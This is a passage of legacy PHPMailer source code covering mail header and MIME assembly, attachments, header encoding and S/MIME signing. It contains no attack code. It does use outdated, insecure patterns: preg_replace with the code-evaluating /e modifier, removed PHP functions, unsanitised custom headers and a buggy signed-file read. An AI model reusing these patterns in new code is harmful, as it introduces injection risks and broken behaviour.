2262 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2263 } else {
2264 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2265 }
2266 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2267 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2268
2269 if($this->ConfirmReadingTo != '') {
2270 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2271 }
2272
2273 // Add custom headers
2274 for($index = 0; $index < count($this->CustomHeader); $index++) {
2275 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2276 }
2277 if (!$this->sign_key_file) {
2278 $result .= $this->HeaderLine('MIME-Version', '1.0');
2279 $result .= $this->GetMailMIME();
2280 }
2281
2282 return $result;
2283 }
2284
2285 /**
2286 * Returns the message MIME.
2287 * @access private
2288 * @return string
2289 */
2290 function GetMailMIME() {
2291 $result = '';
2292 switch($this->message_type) {
2293 case 'plain':
2294 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2295 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2296 break;
2297 case 'attachments':
2298 /* fall through */
2299 case 'alt_attachments':
2300 if($this->InlineImageExists()){
2301 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2302 } else {
2303 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2304 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2305 }
2306 break;
2307 case 'alt':
2308 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2309 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2310 break;
2311 }
2312
2313 if($this->Mailer != 'mail') {
2314 $result .= $this->LE.$this->LE;
2315 }
2316
2317 return $result;
2318 }
2319
2320 /**
2321 * Assembles the message body. Returns an empty string on failure.
2322 * @access private
2323 * @return string
2324 */
2325 function CreateBody() {
2326 $result = '';
2327 if ($this->sign_key_file) {
2328 $result .= $this->GetMailMIME();
2329 }
2330
2331 $this->SetWordWrap();
2332
2333 switch($this->message_type) {
2334 case 'alt':
2335 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2336 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2337 $result .= $this->LE.$this->LE;
2338 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2339 $result .= $this->EncodeString($this->Body, $this->Encoding);
2340 $result .= $this->LE.$this->LE;
2341 $result .= $this->EndBoundary($this->boundary[1]);
2342 break;
2343 case 'plain':
2344 $result .= $this->EncodeString($this->Body, $this->Encoding);
2345 break;
2346 case 'attachments':
2347 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2348 $result .= $this->EncodeString($this->Body, $this->Encoding);
2349 $result .= $this->LE;
2350 $result .= $this->AttachAll();
2351 break;
2352 case 'alt_attachments':
2353 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2354 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2355 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2356 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2357 $result .= $this->LE.$this->LE;
2358 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2359 $result .= $this->EncodeString($this->Body, $this->Encoding);
2360 $result .= $this->LE.$this->LE;
2361 $result .= $this->EndBoundary($this->boundary[2]);
2362 $result .= $this->AttachAll();
2363 break;
2364 }
2365
2366 if($this->IsError()) {
2367 $result = '';
2368 } else if ($this->sign_key_file) {
2369 $file = tempnam("", "mail");
2370 $fp = fopen($file, "w");
2371 fwrite($fp, $result);
2372 fclose($fp);
2373 $signed = tempnam("", "signed");
2374
2375 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2376 $fp = fopen($signed, "r");
2377 $result = fread($fp, filesize($this->sign_key_file));
2378 fclose($fp);
2379 } else {
2380 $this->SetError($this->Lang("signing").openssl_error_string());
2381 $result = '';
2382 }
2383
2384 unlink($file);
2385 unlink($signed);
2386 }
2387
2388 return $result;
2389 }
2390
2391 /**
2392 * Returns the start of a message boundary.
2393 * @access private
2394 */
2395 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2396 $result = '';
2397 if($charSet == '') {
2398 $charSet = $this->CharSet;
2399 }
2400 if($contentType == '') {
2401 $contentType = $this->ContentType;
2402 }
2403 if($encoding == '') {
2404 $encoding = $this->Encoding;
2405 }
2406 $result .= $this->TextLine('--' . $boundary);
2407 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2408 $result .= $this->LE;
2409 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2410 $result .= $this->LE;
2411
2412 return $result;
2413 }
2414
2415 /**
2416 * Returns the end of a message boundary.
2417 * @access private
2418 */
2419 function EndBoundary($boundary) {
2420 return $this->LE . '--' . $boundary . '--' . $this->LE;
2421 }
2422
2423 /**
2424 * Sets the message type.
2425 * @access private
2426 * @return void
2427 */
2428 function SetMessageType() {
2429 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2430 $this->message_type = 'plain';
2431 } else {
2432 if(count($this->attachment) > 0) {
2433 $this->message_type = 'attachments';
2434 }
2435 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2436 $this->message_type = 'alt';
2437 }
2438 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2439 $this->message_type = 'alt_attachments';
2440 }
2441 }
2442 }
2443
2444 /* Returns a formatted header line.
2445 * @access private
2446 * @return string
2447 */
2448 function HeaderLine($name, $value) {
2449 return $name . ': ' . $value . $this->LE;
2450 }
2451
2452 /**
2453 * Returns a formatted mail line.
2454 * @access private
2455 * @return string
2456 */
2457 function TextLine($value) {
2458 return $value . $this->LE;
2459 }
2460
2461 /////////////////////////////////////////////////
2462 // CLASS METHODS, ATTACHMENTS
2463 /////////////////////////////////////////////////
2464
2465 /**
2466 * Adds an attachment from a path on the filesystem.
2467 * Returns false if the file could not be found
2468 * or accessed.
2469 * @param string $path Path to the attachment.
2470 * @param string $name Overrides the attachment name.
2471 * @param string $encoding File encoding (see $Encoding).
2472 * @param string $type File extension (MIME) type.
2473 * @return bool
2474 */
2475 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2476 if(!@is_file($path)) {
2477 $this->SetError($this->Lang('file_access') . $path);
2478 return false;
2479 }
2480
2481 $filename = basename($path);
2482 if($name == '') {
2483 $name = $filename;
2484 }
2485
2486 $cur = count($this->attachment);
2487 $this->attachment[$cur][0] = $path;
2488 $this->attachment[$cur][1] = $filename;
2489 $this->attachment[$cur][2] = $name;
2490 $this->attachment[$cur][3] = $encoding;
2491 $this->attachment[$cur][4] = $type;
2492 $this->attachment[$cur][5] = false; // isStringAttachment
2493 $this->attachment[$cur][6] = 'attachment';
2494 $this->attachment[$cur][7] = 0;
2495
2496 return true;
2497 }
2498
2499 /**
2500 * Attaches all fs, string, and binary attachments to the message.
2501 * Returns an empty string on failure.
2502 * @access private
2503 * @return string
2504 */
2505 function AttachAll() {
2506 /* Return text of body */
2507 $mime = array();
2508
2509 /* Add all attachments */
2510 for($i = 0; $i < count($this->attachment); $i++) {
2511 /* Check for string attachment */
2512 $bString = $this->attachment[$i][5];
2513 if ($bString) {
2514 $string = $this->attachment[$i][0];
2515 } else {
2516 $path = $this->attachment[$i][0];
2517 }
2518
2519 $filename = $this->attachment[$i][1];
2520 $name = $this->attachment[$i][2];
2521 $encoding = $this->attachment[$i][3];
2522 $type = $this->attachment[$i][4];
2523 $disposition = $this->attachment[$i][6];
2524 $cid = $this->attachment[$i][7];
2525
2526 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2527 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2528 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2529
2530 if($disposition == 'inline') {
2531 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2532 }
2533
2534 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2535
2536 /* Encode as string attachment */
2537 if($bString) {
2538 $mime[] = $this->EncodeString($string, $encoding);
2539 if($this->IsError()) {
2540 return '';
2541 }
2542 $mime[] = $this->LE.$this->LE;
2543 } else {
2544 $mime[] = $this->EncodeFile($path, $encoding);
2545 if($this->IsError()) {
2546 return '';
2547 }
2548 $mime[] = $this->LE.$this->LE;
2549 }
2550 }
2551
2552 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2553
2554 return join('', $mime);
2555 }
2556
2557 /**
2558 * Encodes attachment in requested format. Returns an
2559 * empty string on failure.
2560 * @access private
2561 * @return string
2562 */
2563 function EncodeFile ($path, $encoding = 'base64') {
2564 if(!@$fd = fopen($path, 'rb')) {
2565 $this->SetError($this->Lang('file_open') . $path);
2566 return '';
2567 }
2568 $magic_quotes = get_magic_quotes_runtime();
2569 set_magic_quotes_runtime(0);
2570 $file_buffer = fread($fd, filesize($path));
2571 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2572 fclose($fd);
2573 set_magic_quotes_runtime($magic_quotes);
2574
2575 return $file_buffer;
2576 }
2577
2578 /**
2579 * Encodes string to requested format. Returns an
2580 * empty string on failure.
2581 * @access private
2582 * @return string
2583 */
2584 function EncodeString ($str, $encoding = 'base64') {
2585 $encoded = '';
2586 switch(strtolower($encoding)) {
2587 case 'base64':
2588 /* chunk_split is found in PHP >= 3.0.6 */
2589 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2590 break;
2591 case '7bit':
2592 case '8bit':
2593 $encoded = $this->FixEOL($str);
2594 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2595 $encoded .= $this->LE;
2596 break;
2597 case 'binary':
2598 $encoded = $str;
2599 break;
2600 case 'quoted-printable':
2601 $encoded = $this->EncodeQP($str);
2602 break;
2603 default:
2604 $this->SetError($this->Lang('encoding') . $encoding);
2605 break;
2606 }
2607 return $encoded;
2608 }
2609
2610 /**
2611 * Encode a header string to best of Q, B, quoted or none.
2612 * @access private
2613 * @return string
2614 */
2615 function EncodeHeader ($str, $position = 'text') {
2616 $x = 0;
2617
2618 switch (strtolower($position)) {
2619 case 'phrase':
2620 if (!preg_match('/[\200-\377]/', $str)) {
2621 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2622 $encoded = addcslashes($str, "\0..\37\177\\\"");
2623 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2624 return ($encoded);
2625 } else {
2626 return ("\"$encoded\"");
2627 }
2628 }
2629 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2630 break;
2631 case 'comment':
2632 $x = preg_match_all('/[()"]/', $str, $matches);
2633 /* Fall-through */
2634 case 'text':
2635 default:
2636 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2637 break;
2638 }
2639
2640 if ($x == 0) {
2641 return ($str);
2642 }
2643
2644 $maxlen = 75 - 7 - strlen($this->CharSet);
2645 /* Try to select the encoding which should produce the shortest output */
2646 if (strlen($str)/3 < $x) {
2647 $encoding = 'B';
2648 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2649 // Use a custom function which correctly encodes and wraps long
2650 // multibyte strings without breaking lines within a character
2651 $encoded = $this->Base64EncodeWrapMB($str);
2652 } else {
2653 $encoded = base64_encode($str);
2654 $maxlen -= $maxlen % 4;
2655 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2656 }
2657 } else {
2658 $encoding = 'Q';
2659 $encoded = $this->EncodeQ($str, $position);
2660 $encoded = $this->WrapText($encoded, $maxlen, true);
2661 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2662 }
2663
2664 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2665 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2666
2667 return $encoded;
2668 }
2669
2670 /**
2671 * Checks if a string contains multibyte characters.
2672 * @access private
2673 * @param string $str multi-byte text to wrap encode
2674 * @return bool
2675 */
2676 function HasMultiBytes($str) {
2677 if (function_exists('mb_strlen')) {
2678 return (strlen($str) > mb_strlen($str, $this->CharSet));
2679 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2680 return False;
2681 }
2682 }
2683
2684 /**
2685 * Correctly encodes and wraps long multibyte strings for mail headers
2686 * without breaking lines within a character.
2687 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2688 * @access private
2689 * @param string $str multi-byte text to wrap encode
2690 * @return string
2691 */
2692 function Base64EncodeWrapMB($str) {
2693 $start = "=?".$this->CharSet."?B?";
2694 $end = "?=";
2695 $encoded = "";
2696
2697 $mb_length = mb_strlen($str, $this->CharSet);
2698 // Each line must have length <= 75, including $start and $end
2699 $length = 75 - strlen($start) - strlen($end);
2700 // Average multi-byte ratio
2701 $ratio = $mb_length / strlen($str);
2702 // Base64 has a 4:3 ratio
2703 $offset = $avgLength = floor($length * $ratio * .75);
2704
2705 for ($i = 0; $i < $mb_length; $i += $offset) {
2706 $lookBack = 0;
2707
2708 do {
2709 $offset = $avgLength - $lookBack;
2710 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2711 $chunk = base64_encode($chunk);
2712 $lookBack++;
2713 }
2714 while (strlen($chunk) > $length);
2715
2716 $encoded .= $chunk . $this->LE;
2717 }
2718
2719 // Chomp the last linefeed
2720 $encoded = substr($encoded, 0, -strlen($this->LE));
2721 return $encoded;
2722 }
2723
2724 /**
2725 * Encode string to quoted-printable.
2726 * @access private
2727 * @return string
2728 */
2729 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2730 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2731 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2732 $eol = "\r\n";
2733 $escape = '=';
2734 $output = '';
2735 while( list(, $line) = each($lines) ) {
2736 $linlen = strlen($line);
2737 $newline = '';
2738 for($i = 0; $i < $linlen; $i++) {
2739 $c = substr( $line, $i, 1 );
2740 $dec = ord( $c );
2741 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2742 $c = '=2E';
2743 }
2744 if ( $dec == 32 ) {
2745 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2746 $c = '=20';
2747 } else if ( $space_conv ) {
2748 $c = '=20';
2749 }
2750 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2751 $h2 = floor($dec/16);
2752 $h1 = floor($dec%16);
2753 $c = $escape.$hex[$h2].$hex[$h1];
2754 }
2755 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2756 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2757 $newline = '';
2758 // check if newline first character will be point or not
2759 if ( $dec == 46 ) {
2760 $c = '=2E';
2761 }
2762 }
2763 $newline .= $c;
2764 } // end of for
2765 $output .= $newline.$eol;
2766 } // end of while
2767 return trim($output);
2768 }
2769
2770 /**
2771 * Encode string to q encoding.
2772 * @access private
2773 * @return string
2774 */
2775 function EncodeQ ($str, $position = 'text') {
2776 /* There should not be any EOL in the string */
2777 $encoded = preg_replace("[\r\n]", '', $str);
2778
2779 switch (strtolower($position)) {
2780 case 'phrase':
2781 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2782 break;
2783 case 'comment':
2784 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2785 case 'text':
2786 default:
2787 /* Replace every high ascii, control =, ? and _ characters */
2788 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2789 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2790 break;
2791 }
2792
2793 /* Replace every spaces to _ (more readable than =20) */
2794 $encoded = str_replace(' ', '_', $encoded);
2795
2796 return $encoded;
2797 }
2798
2799 /**
2800 * Adds a string or binary attachment (non-filesystem) to the list.
2801 * This method can be used to attach ascii or binary data,
2802 * such as a BLOB record from a database.
2803 * @param string $string String attachment data.
2804 * @param string $filename Name of the attachment.
2805 * @param string $encoding File encoding (see $Encoding).
2806 * @param string $type File extension (MIME) type.
2807 * @return void
2808 */
2809 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2810 /* Append to $attachment array */
2811 $cur = count($this->attachment);
2812 $this->attachment[$cur][0] = $string;
2813 $this->attachment[$cur][1] = $filename;
2814 $this->attachment[$cur][2] = $filename;
2815 $this->attachment[$cur][3] = $encoding;
2816 $this->attachment[$cur][4] = $type;
2817 $this->attachment[$cur][5] = true; // isString
2818 $this->attachment[$cur][6] = 'attachment';
2819 $this->attachment[$cur][7] = 0;
2820 }
2821
2822 /**
2823 * Adds an embedded attachment. This can include images, sounds, and
2824 * just about any other document. Make sure to set the $type to an
2825 * image type. For JPEG images use "image/jpeg" and for GIF images
2826 * use "image/gif".
2827 * @param string $path Path to the attachment.
2828 * @param string $cid Content ID of the attachment. Use this to identify
2829 * the Id for accessing the image in an HTML form.
2830 * @param string $name Overrides the attachment name.
2831 * @param string $encoding File encoding (see $Encoding).
2832 * @param string $type File extension (MIME) type.
2833 * @return bool
2834 */
2835 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2836
2837 if(!@is_file($path)) {
2838 $this->SetError($this->Lang('file_access') . $path);
2839 return false;
2840 }
2841
2842 $filename = basename($path);
2843 if($name == '') {
2844 $name = $filename;
2845 }
2846
2847 /* Append to $attachment array */
2848 $cur = count($this->attachment);
2849 $this->attachment[$cur][0] = $path;
2850 $this->attachment[$cur][1] = $filename;
2851 $this->attachment[$cur][2] = $name;
2852 $this->attachment[$cur][3] = $encoding;
2853 $this->attachment[$cur][4] = $type;
2854 $this->attachment[$cur][5] = false;
2855 $this->attachment[$cur][6] = 'inline';
2856 $this->attachment[$cur][7] = $cid;
2857
2858 return true;
2859 }
2860
2861 /**
2862 * Returns true if an inline attachment is present.
2863 * @access private
2864 * @return bool
2865 */
2866 function InlineImageExists() {
2867 $result = false;
2868 for($i = 0; $i < count($this->attachment); $i++) {
2869 if($this->attachment[$i][6] == 'inline') {
2870 $result = true;
2871 break;
2872 }
2873 }
2874
2875 return $result;
2876 }
2877
2878 /////////////////////////////////////////////////
2879 // CLASS METHODS, MESSAGE RESET
2880 /////////////////////////////////////////////////
2881
2882 /**
2883 * Clears all recipients assigned in the TO array. Returns void.
2884 * @return void
2885 */
2886 function ClearAddresses() {
2887 $this->to = array();
2888 }
2889
2890 /**
2891 * Clears all recipients assigned in the CC array. Returns void.
2892 * @return void
2893 */
2894 function ClearCCs() {
2895 $this->cc = array();
2896 }
2897
2898 /**
2899 * Clears all recipients assigned in the BCC array. Returns void.
2900 * @return void
2901 */
2902 function ClearBCCs() {
2903 $this->bcc = array();
2904 }
2905
2906 /**
2907 * Clears all recipients assigned in the ReplyTo array. Returns void.
2908 * @return void
2909 */
2910 function ClearReplyTos() {
2911 $this->ReplyTo = array();
2912 }
2913
2914 /**
2915 * Clears all recipients assigned in the TO, CC and BCC
2916 * array. Returns void.
2917 * @return void
2918 */
2919 function ClearAllRecipients() {
2920 $this->to = array();
2921 $this->cc = array();
2922 $this->bcc = array();
2923 }
2924
2925 /**
2926 * Clears all previously set filesystem, string, and binary
2927 * attachments. Returns void.
2928 * @return void
2929 */
2930 function ClearAttachments() {
2931 $this->attachment = array();
2932 }
2933
2934 /**
2935 * Clears all custom headers. Returns void.
2936 * @return void
2937 */
2938 function ClearCustomHeaders() {
2939 $this->CustomHeader = array();
2940 }
2941
2942 /////////////////////////////////////////////////
2943 // CLASS METHODS, MISCELLANEOUS
2944 /////////////////////////////////////////////////
2945
2946 /**
2947 * Adds the error message to the error container.
2948 * Returns void.
2949 * @access private
2950 * @return void
2951 */
2952 function SetError($msg) {
2953 $this->error_count++;
2954 $this->ErrorInfo = $msg;
2955 }
2956
2957 /**
2958 * Returns the proper RFC 822 formatted date.
2959 * @access private
2960 * @return string
2961 */
2962 function RFCDate() {
2963 $tz = date('Z');
2964 $tzs = ($tz < 0) ? '-' : '+';
2965 $tz = abs($tz);
2966 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2967 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2968
2969 return $result;
2970 }
2971
2972 /**
2973 * Returns the appropriate server variable. Should work with both
2974 * PHP 4.1.0+ as well as older versions. Returns an empty string
2975 * if nothing is found.
2976 * @access private
2977 * @return mixed
2978 */
2979 function ServerVar($varName) {
2980 global $HTTP_SERVER_VARS;
2981 global $HTTP_ENV_VARS;
2982
2983 if(!isset($_SERVER)) {
2984 $_SERVER = $HTTP_SERVER_VARS;
2985 if(!isset($_SERVER['REMOTE_ADDR'])) {
2986 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2987 }
2988 }
2989
2990 if(isset($_SERVER[$varName])) {
2991 return $_SERVER[$varName];
2992 } else {
2993 return '';
2994 }
2995 }
2996
2997 /**
2998 * Returns the server hostname or 'localhost.localdomain' if unknown.
2999 * @access private
3000 * @return string
3001 */
3002 function ServerHostname() {
3003 if ($this->Hostname != '') {
3004 $result = $this->Hostname;
3005 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3006 $result = $this->ServerVar('SERVER_NAME');
3007 } else {
3008 $result = 'localhost.localdomain';
3009 }
3010
3011 return $result;
3012 }
3013
3014 /**
3015 * Returns a message in the appropriate language.
3016 * @access private
3017 * @return string
3018 */
3019 function Lang($key) {
3020 if(count($this->language) < 1) {
3021 $this->SetLanguage('en'); // set the default language
3022 }
3023
3024 if(isset($this->language[$key])) {
3025 return $this->language[$key];
3026 } else {
3027 return 'Language string failed to load: ' . $key;
3028 }
3029 }
3030
3031 /**
3032 * Returns true if an error occurred.
3033 * @return bool
3034 */
3035 function IsError() {
3036 return ($this->error_count > 0);
3037 }
3038
3039 /**
3040 * Changes every end of line from CR or LF to CRLF.
3041 * @access private
3042 * @return string
3043 */
3044 function FixEOL($str) {
3045 $str = str_replace("\r\n", "\n", $str);
3046 $str = str_replace("\r", "\n", $str);
3047 $str = str_replace("\n", $this->LE, $str);
3048 return $str;
3049 }
3050
3051 /**
3052 * Adds a custom header.
3053 * @return void
3054 */
3055 function AddCustomHeader($custom_header) {
3056 $this->CustomHeader[] = explode(':', $custom_header, 2);
3057 }
3058
3059 /**
3060 * Evaluates the message and returns modifications for inline images and backgrounds
3061 * @access public
3062 * @return $message
3063 */
3064 function MsgHTML($message,$basedir='') {
3065 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3066 if(isset($images[2])) {
3067 foreach($images[2] as $i => $url) {
3068 // do not change urls for absolute images (thanks to corvuscorax)
3069 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3070 $filename = basename($url);
3071 $directory = dirname($url);
3072 ($directory == '.')?$directory='':'';
3073 $cid = 'cid:' . md5($filename);
3074 $fileParts = split("\.", $filename);
3075 $ext = $fileParts[1];
3076 $mimeType = $this->_mime_types($ext);
3077 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3078 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3079 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3080 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3081 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3082 }
3083 }
3084 }
3085 }
3086 $this->IsHTML(true);
3087 $this->Body = $message;
3088 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3089 if ( !empty($textMsg) && empty($this->AltBody) ) {
3090 $this->AltBody = $textMsg;
3091 }
3092 if ( empty($this->AltBody) ) {
3093 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3094 }
3095 }
3096
3097 /**
3098 * Gets the mime type of the embedded or inline image
3099 * @access private
3100 * @return mime type of ext
3101 */
3102 function _mime_types($ext = '') {
3103 $mimes = array(
3104 'hqx' => 'application/mac-binhex40',
3105 'cpt' => 'application/mac-compactpro',
3106 'doc' => 'application/msword',
3107 'bin' => 'application/macbinary',
3108 'dms' => 'application/octet-stream',
3109 'lha' => 'application/octet-stream',
3110 'lzh' => 'application/octet-stream',
3111 'exe' => 'application/octet-stream',
3112 'class' => 'application/octet-stream',
3113 'psd' => 'application/octet-stream',
3114 'so' => 'application/octet-stream',
3115 'sea' => 'application/octet-stream',
3116 'dll' => 'application/octet-stream',
3117 'oda' => 'application/oda',
3118 'pdf' => 'application/pdf',
3119 'ai' => 'application/postscript',
3120 'eps' => 'application/postscript',
3121 'ps' => 'application/postscript',
3122 'smi' => 'application/smil',
3123 'smil' => 'application/smil',
3124 'mif' => 'application/vnd.mif',
3125 'xls' => 'application/vnd.ms-excel',
3126 'ppt' => 'application/vnd.ms-powerpoint',
3127 'wbxml' => 'application/vnd.wap.wbxml',
3128 'wmlc' => 'application/vnd.wap.wmlc',
3129 'dcr' => 'application/x-director',
3130 'dir' => 'application/x-director',
3131 'dxr' => 'application/x-director',
3132 'dvi' => 'application/x-dvi',
3133 'gtar' => 'application/x-gtar',
3134 'php' => 'application/x-httpd-php',
3135 'php4' => 'application/x-httpd-php',
3136 'php3' => 'application/x-httpd-php',
3137 'phtml' => 'application/x-httpd-php',
3138 'phps' => 'application/x-httpd-php-source',
3139 'js' => 'application/x-javascript',
3140 'swf' => 'application/x-shockwave-flash',
3141 'sit' => 'application/x-stuffit',
3142 'tar' => 'application/x-tar',
3143 'tgz' => 'application/x-tar',
3144 'xhtml' => 'application/xhtml+xml',
3145 'xht' => 'application/xhtml+xml',
3146 'zip' => 'application/zip',
3147 'mid' => 'audio/midi',
3148 'midi' => 'audio/midi',
3149 'mpga' => 'audio/mpeg',
3150 'mp2' => 'audio/mpeg',
3151 'mp3' => 'audio/mpeg',
3152 'aif' => 'audio/x-aiff',
3153 'aiff' => 'audio/x-aiff',
3154 'aifc' => 'audio/x-aiff',
3155 'ram' => 'audio/x-pn-realaudio',
3156 'rm' => 'audio/x-pn-realaudio',
3157 'rpm' => 'audio/x-pn-realaudio-plugin',
3158 'ra' => 'audio/x-realaudio',
3159 'rv' => 'video/vnd.rn-realvideo',
3160 'wav' => 'audio/x-wav',
3161 'bmp' => 'image/bmp',
3162 'gif' => 'image/gif',
3163 'jpeg' => 'image/jpeg',
3164 'jpg' => 'image/jpeg',
3165 'jpe' => 'image/jpeg',
3166 'png' => 'image/png',
3167 'tiff' => 'image/tiff',
3168 'tif' => 'image/tiff',
3169 'css' => 'text/css',
3170 'html' => 'text/html',
3171 'htm' => 'text/html',
3172 'shtml' => 'text/html',
3173 'txt' => 'text/plain',
3174 'text' => 'text/plain',
3175 'log' => 'text/plain',
3176 'rtx' => 'text/richtext',
3177 'rtf' => 'text/rtf',
3178 'xml' => 'text/xml',
3179 'xsl' => 'text/xml',
3180 'mpeg' => 'video/mpeg',
3181 'mpg' => 'video/mpeg',
3182 'mpe' => 'video/mpeg',
3183 'qt' => 'video/quicktime',
3184 'mov' => 'video/quicktime',
3185 'avi' => 'video/x-msvideo',
3186 'movie' => 'video/x-sgi-movie',
3187 'doc' => 'application/msword',
3188 'word' => 'application/msword',
3189 'xl' => 'application/excel',
3190 'eml' => 'message/rfc822'
3191 );
3192 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3193 }
3194
3195 /**
3196 * Set (or reset) Class Objects (variables)
3197 *
3198 * Usage Example:
3199 * $page->set('X-Priority', '3');
3200 *
3201 * @access public
3202 * @param string $name Parameter Name
3203 * @param mixed $value Parameter Value
3204 * NOTE: will not work with arrays, there are no arrays to set/reset
3205 */
3206 function set ( $name, $value = '' ) {
3207 if ( isset($this->$name) ) {
3208 $this->$name = $value;
3209 } else {
3210 $this->SetError('Cannot set or reset variable ' . $name);
3211 return false;
3212 }
3213 }
3214
3215 /**
3216 * Read a file from a supplied filename and return it.
3217 *
3218 * @access public
3219 * @param string $filename Parameter File Name
3220 */
3221 function getFile($filename) {
3222 $return = '';
3223 if ($fp = fopen($filename, 'rb')) {
3224 while (!feof($fp)) {
3225 $return .= fread($fp, 1024);
3226 }
3227 fclose($fp);
3228 return $return;
3229 } else {
3230 return false;
3231 }
3232 }
3233
3234 /**
3235 * Strips newlines to prevent header injection.
3236 * @access private
3237 * @param string $str String
3238 * @return string
3239 */
3240 function SecureHeader($str) {
3241 $str = trim($str);
3242 $str = str_replace("\r", "", $str);
3243 $str = str_replace("\n", "", $str);
3244 return $str;
3245 }
3246
3247 /**
3248 * Set the private key file and password to sign the message.
3249 *
3250 * @access public
3251 * @param string $key_filename Parameter File Name
3252 * @param string $key_pass Password for private key
3253 */
3254 function Sign($key_filename, $key_pass) {
